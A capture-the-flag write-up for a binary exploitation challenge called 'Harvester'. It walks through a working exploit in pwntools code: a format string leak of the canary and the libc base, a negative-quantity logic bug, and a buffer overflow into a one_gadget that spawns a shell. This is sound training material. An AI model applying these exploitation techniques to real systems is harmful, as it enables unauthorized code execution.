Pwn - Harvester

This challenge is harder than the two others, first thing it's a PIE. And it's full of canaries, so if we find a buffer overflow we'll need to set it to the correct value.

By exploring the binary we find two vulnerabilities.

  • The first one is format string vulnerability inside the fight function.
  • The second is a buffer overflow inside the stare function just large enough to overwrite one return address.

We can trigger the fight vulnerability when we want, but the stare one is only available if we have a specific amount of pie on us. Instead of farming pies, we found a logic bug inside the inventory function that allows us to drop a negative amount of pies.

So first thing to do is to leak some values from the stack, for this we did this function.

def format_exploit(progress, index):
    progress.status("selecting menu fight")
    select_menu('1')

    progress.status("selecting weapon format string attack")
    conn.recvuntil('> ')
    conn.send(b'%%%d$p' % index);
    conn.recvuntil(b"Your choice is: ")

    progress.status("computing value")
    value = conn.recvline()
    value = value[:len(value) - 8]
    value = 0 if value == b"(nil)" else int(value, 16)
    return value

The first thing we want to retrieve is the canary to not trigger the overflow check failure.

def retrieve_canary():
    with log.progress("retrieving canary") as progress:
        return format_exploit(progress, 11)

The second thing we need to retrieve is the libc base address. To do this we can go through the stack to find return addresses, until we find the main return address, we can continue and we see where does the main function returns inside the __libc_start_main function. Meaning we've an address and can easily find the offset so we know the libc base address.

def retrieve_libc_base_address():
    with log.progress("retrieving libc base address") as progress:
        libc_start_main_return = 0x21bf7
        base = format_exploit(progress, 21)
        libc.address = base - libc_start_main_return

Now that we know the canary and the libc base address we need to prepare ourself by having the right amount of pie.

def drop_pie(amount):
    with log.progress("dropping pies") as progress:
        progress.status("opening inventory menu")
        select_menu('2')

        progress.status("choose to drop some pies")
        conn.recvuntil('> ')
        conn.sendline('y')

        progress.status("drop specified amount")
        conn.recvuntil('> ')
        conn.sendline(amount)

drop_pie('-11')

Finally we can do the overflow, the only problem is: where to return ? We can only return to one address. For this, one_gadget exists. If we provide the libc we're using, it gives us a list of return address that can open a shell.

Now that we know one of this super duper cool addresses we can forge our payload.

def retrieve_shell():
    with log.progress("retrieving a shell") as progress:
        progress.status("opening stare menu")
        select_menu('3')

        progress.status("forging rop")
        rop = b"A" * (0x30 - 0x8)
        rop += p64(canary)

        # This value is not important
        rop += p64(0x1234567890abcdef)

        # 0x4f3d5 is the offset to open a shell with a single rop
        # See: https://github.com/david942j/one_gadget
        rop += p64(libc.address + 0x4f3d5)

        progress.status("sending rop")
        conn.recvuntil('> ')
        conn.send(rop)

        progress.status("remove error message")
        conn.recvlines(2)

Now, with a shell, all we need to do is to cat the flag!